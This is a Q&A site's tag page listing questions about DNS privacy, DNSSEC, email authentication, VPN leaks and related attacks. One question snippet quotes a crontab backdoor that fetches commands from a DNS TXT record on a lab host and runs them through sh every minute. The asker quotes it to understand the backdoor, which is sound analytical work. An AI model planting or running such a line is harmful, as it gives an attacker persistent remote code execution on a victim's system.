Questions tagged [dns]
The Domain Name System (DNS) translates Internet domain and host names to IP addresses.
785
questions
0
votes
0
answers
25
views
When using a VPN is the device DNS cache still written to? [duplicate]
When I am using ProtonVPN, does the VPN server run DNS resolution upon receiving the request, similar to a Tor exit node, thereby bypassing the device's DNS cache?
Or do my browser's DNS queries still ...
- 101
0
votes
2
answers
70
views
Why spamassasin is doing dns lookup?
I have a server which have configured Amavis and Spamassasin (in default state only). I recently noticed log lines that probably indicate DNS query failure, below is an excerpt:
Nov 21 11:15:40 ...
- 133
0
votes
0
answers
34
views
How To Address Email Deliverability Problems When From Header Doesn't Match From Envelope?
So I'm using Active Campaign as a CRM and have configured DKIM, SPF, and a DMARC none policy. I am having one particular customer of mine that's not able to receive my emails despite them ...
- 101
7
votes
2
answers
2k
views
What happens if a DNS record points to non-controlled IP address?
If a domain, for example foo.com is pointed to a IP address (A record) outside of my control, for example the Twitter IP address. And the domain is visited using a browser:
What will be displayed in ...
- 423
3
votes
1
answer
158
views
Is Android private DNS using domain name a security risk?
Android has the option for using private DNS, but it requires a hostname, not an IP of the DNS server. Isn't entering the domain name of a DNS server a chance for MITM attacks and DNS poisoning?
How ...
0
votes
2
answers
85
views
Why does turning on encrypted DNS unblock some geo locked websites?
When I turn on Warp provided by Cloudflare or use 1.1.1.1, it unlocks some of the websites which are geo locked. How does it unblock the websites which are blocked by ISP?
- 11
1
vote
1
answer
53
views
Is it reasonable to have a product that requires LLMNR or mDNS?
I am trying to figure out the best way to manage security certificates for embedded devices who's webpage is accessed via IP address, and then the scenario for when that IP address changes.
Currently, ...
0
votes
1
answer
64
views
How can an email forwarding service send email with a "From" from a domain they don't control, and still pass SPF?
Let's say:
[email protected] sends an email to [email protected].
Bob owns the domain bob.com but doesn't manage an emailing server. Instead he uses an email forwarding service (provided by his registrar /...
- 963
0
votes
0
answers
71
views
What is the easiest and most effective way to filter IP-only accesses?
On MacOS and Windows 11, I’ve repeatedly seen direct IP accesses to *.deploy.static.akamaitechnologies.com domains (discovered via PTR DNS lookups). DNS filters like NextDNS presumably don’t see this ...
- 133
0
votes
1
answer
180
views
Can DNS providers know my IP address?
I know how domain name system (DNS) works a bit. But don't know if providers of public DNS like Google or Cloudflare can know my IP address.
user295767
1
vote
1
answer
87
views
Can my ISP see request data being posted to a website when a DNS leak occurs
From what I understand, the ISP can see the host you're trying to connect to in the event of a DNS leak. But does that mean they can see the data being sent like the requests body? or even headers?
Or ...
- 11
0
votes
1
answer
147
views
can a VPN provider do DNS poisoning?
I was wondering if we push our DNS over the VPN and basically let them do DNS resolution, is it possible to perform DNS poisoning and man in the middle attack on us?
I know browsers check certificates ...
34
votes
4
answers
9k
views
Domain about to expire. Afraid that new owners will spread malware
I have a domain that is about to expire. It was used for hosting my freeware which I do not maintain anymore but can still be found on shareware directories. The application points to my domain (...
- 2,493
0
votes
0
answers
91
views
Is this web cache poisoning attempt correct?
So i've been trying to learn cache poisoning for a while and today i thought i finally found a vulnerable instance. Everything seems to be working even tho it doesn't. Like, 416 response is cached, ...
- 1
0
votes
1
answer
140
views
Since the DS recordset contains all of the child's Key Signing Key, wouldn't the DS recordset be massive and difficult to load for verification?
I'm learning about DNSSEC today but I don't quite understand about how a parent zone would store all of its child's Key Signing Keys (DNSKEY 257) in its DS record set.
As far as I understand, if I ...
- 367
0
votes
1
answer
1k
views
Port 53 on my home router opened, why?
I couldn't find anything online so I'm here to ask experts. I've nmapped my public ip and I noticed all ports are closed but the 53. In the router's options upnp is disabled and the NAT rules are ...
- 1
4
votes
1
answer
216
views
How can I validate the root DNS key-signing-key on the command line?
Consider the following dig command and its truncated output:
dig . dnskey +dnssec +multi @a.root-servers.net
...
...
;; ANSWER SECTION:
. 172800 IN DNSKEY 257 3 8 (
...
- 143
1
vote
1
answer
349
views
How does DNS prefetching endanger security/privacy?
I would like a comprehensive explanation of the security and privacy risks that come with DNS prefetching. There are already other posts about this topic, but I want current information and feedback ...
- 113
0
votes
1
answer
339
views
Cloudflare not hide VPS IP (ngnix)
I have a problem with hiding the VPS IP using Cloudflare. My IP can be found on search.censys.io. I don't have any DNS leaks. I'm using nginx to reverse proxy a node.js server. Is it possible to hide ...
- 1
2
votes
1
answer
128
views
Is it possible for a hostname lookup to be temporarily lying (wrong ISP)?
In 2017, I was running a local website on my own dedicated server in a professional data center. FreeBSD. Installed by me remotely. Maintained carefully by me. No other human users than myself. I was ...
- 21
0
votes
1
answer
130
views
Best Practices for Securing an authoritative DNS [closed]
I am trying to implement the best practices for securing the Linux bind DNS.
I have never gone this in-depth with securing authoritative DNS before. What do you recommend?
- 103
1
vote
1
answer
104
views
Flooding attacks in DNSCrypt
In order to mitigate reflection-amplification attacks, DNSCrypt seems to enforce queries that have a larger response than the query to be retransmitted over TCP. This feature will mitigate ...
- 13
1
vote
1
answer
2k
views
Using Android private DNS with VPN
Android allows now to set "private DNS" in the settings (which also allows using DNS over TLS - sadly over HTTPS atm only works for specific DNS providers).
What I am trying to establish is: ...
- 13
1
vote
2
answers
185
views
DNS hijacking/poisoning effect on URL/URI and password manager autotype/autofill
A benefit to password managers, at least some of them, is that they can look at the URL and only use autotype/autofill when on the correct site, which can help prevent pharming since if instead of ...
- 13
0
votes
2
answers
78
views
Would a signed TLS certificate prevent an attacker from stealing a domain?
I'm trying to understand how the attack described in this article could work. Let's grant that this attacker, not associated with company.com, managed to take control of oldsub.company.com. Here's a ...
- 101
0
votes
0
answers
446
views
Does smart multi-homed name resolution really lead to DNS leak?
If you connect to a VPN network on a Windows machine for instance,
smart multi-homed name resolution may lead to DNS leakage. Since
requests are sent out to all network adapters at the same time, all
...
user286246
3
votes
1
answer
3k
views
Secure DNS (DoH, DoT) differences, performance, comparison
I am reading up on secure DNS (DoH, DoT) and trying to identify its differences. Currently, I am on https://www.cloudflare.com/learning/dns/dns-over-tls/ page.
Is there for example some non-...
- 1,687
0
votes
0
answers
31
views
Need of Transaction SIGnature (TSIG) record
Can't we simply send the shared secret key along with AXFR query?
A hacker can easily use sniffed TSIG record to authenticate himself. Then how it's called SECURED zone transfer?
- 11
2
votes
2
answers
320
views
Bypass network security filters with CDN
I read about Domain Fronting technique, it bypasses network security filters but requires a relatively complex configuration (having evil.com pointing to a.cdn.net, and good.com pointing to b.cdn.net, ...
- 23
0
votes
0
answers
220
views
How can I monitor which page in the web browser is making a DNS request?
I manage a Microsoft environment and I use FortiClient EMS for our endpoint security. That system is logging blocked requests to https://h.parrable.com. As best I can tell, this is not a malicious ...
- 153
0
votes
1
answer
864
views
Is using route 53 from AWS sufficient for DDOS protection on DNS level, or do you need to combine it with other AWS products
We have been targeted by DNS DDOS attacks. We have now migrated to AWS Route53 as these DNS servers are more resilient.
Is using AWS Route 53 enough to have basic DDOS protection? Or is it necessary ...
- 101
0
votes
1
answer
51
views
Exploitation Risks and Considerations specific to running internal DNS servers
I have heard of larger companies are utilizing their own internal DNS servers to route through internal resources. And was wondering if there is any specific exploitation risks and considerations for ...
- 736
0
votes
0
answers
86
views
endpoint made connection to an IP adress the hostname is not resolving to
Our security product alerted on a possible malicious communication detected by analyzing DNS transactions. The DNS name in question is www.cyber-sale.net. I could correlate this even to another event ...
- 1
0
votes
2
answers
128
views
How to avoid compromise of data connecting by compromised router?
Imagine that there is a PC you have physical access to, and a router you have no physical access to. Also no digital access to router. The router is for sure compromised and intercepting all packets ...
- 1
2
votes
1
answer
92
views
Does it matter what nameserver is queried for TXT records?
I found this backdoor in a crontab:
* * * * * /bin/sh -c "sh -c $(dig imf0rce.htb TXT +short @ns.imf0rce.htb)"
And if i understood correctly, it queries all the TXT records in the domain ...
1
vote
0
answers
53
views
Opencart website getting request from random subdomains (DDoS)
We have an Opencart 3.0.3 website which is getting DDoSed, we then migrated it to AWS and noticed the same thing happening, we blocked access from all other countries except US & Canada. For admin ...
2
votes
3
answers
1k
views
How can I overcome my ISP's DNS redirection when DoH is blocked?
This is a follow-up to my previous question.
My ISP is apparently trying to redirect my DNS requests. When I visit some sites, my traffic is redirected to other IPs and not the intended site.
I tried ...
- 63
4
votes
1
answer
252
views
Can your ISP pull off a man-in-the-middle attack over unencrypted DNS?
Today I was visiting a website, using HTTPS obviously, that firefox gave me a certificate error and said that the certificate did not match the website's information.
After a bit of investigation, it ...
- 63
0
votes
0
answers
82
views
How to properly handle DNSKEY delegation across DNS zones?
I'm trying to implement a toy project DNSSEC supported DNS resolver to learn about both DNS and DNSSEC.
Most of my implementation are finished. But for some domains it's not working correctly, and I ...
- 101
1
vote
2
answers
99
views
Are brand-new DNS registrations an easy way to detect phishing?
Today I received an SMS
AusPost: Your package address is incorrect and delivery failed, please
update address information via the link.
https://auspost.requestupdate.com
If I do a whois auspost....
- 223
2
votes
2
answers
414
views
Flattening an SPF record - drawbacks and downsides?
I have an SPF record that has too many DNS lookups. Consequence is some mail servers will silently drop emails; RFC7028 says that over 10 lookups:
SPF implementations MUST limit the total number of ...
- 522
1
vote
0
answers
135
views
Is iCloud Private Relay leaking my DNS queries to my ISP?
So I noticed recently that despite iOS settings saying all DNS queries go through iCloud Private Relay's DNS servers, despite Private Relay using Oblivious DNS over HTTPS, and even despite dnsleaktest....
1
vote
1
answer
7k
views
What is Akamai Ghost? [closed]
After making requests to certain domain and their responses being either 4xx or 5xx status codes, the server response header shows Akamai Ghost.
Is this response coming from Akamai's firewall or their ...
- 41
2
votes
1
answer
76
views
How to identify a name server that does not have DNSSEC implemented?
I tried dig +dnssec dig [domain name] +dnssec +short. Is RRSIG the only attribute to confirm if a name server has DNSSEC implemented or not? How do I identify a name server that has no DNSSEC ...
1
vote
1
answer
1k
views
Is Anonymized DNSCrypt over Tor a better alternative to having Doh+ECH?
I use dnscrypt-proxy's anonymized DNScrypt with multiple relays, force it all to use TCP, route them over Tor.
Does this prevent my ISP or anyone in my country to see my DNS queries and client hellos ...
user279925
0
votes
1
answer
198
views
Someone issued fake CAA records for my domain. What is the most important thing to do to resolve it?
First, I can update this with the affected domain, if it's critical, but for obvious reasons I'd like not to be the target of more problems.
Someone registered some CAA records for my domain.
I have ...
- 270
1
vote
1
answer
211
views
DNS reverse lookup not finding domain name during enumeration
While enumerating a DNS server for a HTB machine, I've tried finding a domain name for 127.0.0.1:
┌──(kali㉿kali)-[~]
└─$ dig -x 127.0.0.1 @10.10.11.166
; <<>> DiG 9.18.1-1-Debian <<...
- 113
0
votes
2
answers
2k
views
What's the use of encrypted DNS when ISP can see the IP address of the website?
I use an encrypted DNS server that supports DNSSEC and DoH, these features are useful for hiding from the ISP, VPN server provider etc. which website you are trying to look up, but eventually those ...
user279925
0
votes
1
answer
1k
views
How to check to see whether DNS over TLS is blocked in my network by ISP?
I'm looking for a method to check whether DNS over TLS is blocked in my network by my ISP or not. A method that isn't just trial and error of a bunch of popular DoT providers to see which one connects ...
user279925
6
votes
2
answers
1k
views
Can DDNS provider perform a MITM attack? [duplicate]
I'm using duckdns as my free ddns provider. The domain is in the form domain.duckdns.org.
I believe it would be technically possible for them to copy the files my server hosts, redirect "my" ...
- 163